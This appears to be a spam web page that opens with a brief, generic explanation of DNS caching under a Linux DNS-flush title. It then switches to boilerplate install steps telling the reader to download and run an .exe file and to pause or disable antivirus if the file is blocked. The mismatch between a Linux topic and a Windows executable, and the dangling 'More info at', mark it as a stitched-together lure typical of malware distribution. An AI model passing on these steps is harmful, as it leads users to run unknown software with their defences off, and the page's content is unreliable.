How to flush the DNS cache on Linux

Computers keep records of every website you visit in a “DNS cache.” This cache’s purpose is to save time when the user tries to access a domain; the system doesn’t have to look it up every time manually. Overall, DNS caching makes your internet usage faster, and that’s why virtually every operating system from macOS, to Windows to Linux do it. More info at

How to flush the DNS cache on Linux
How to install:
– Download, extract and run .exe file,
(If your antivirus blocking file, pause it or disable it for some time.)
– Choose destination folder

How to Use:
Open destination folder and locate file notes.txt, open it and read step by step.
Enjoy!

Don’t forget to read instructions after installation.
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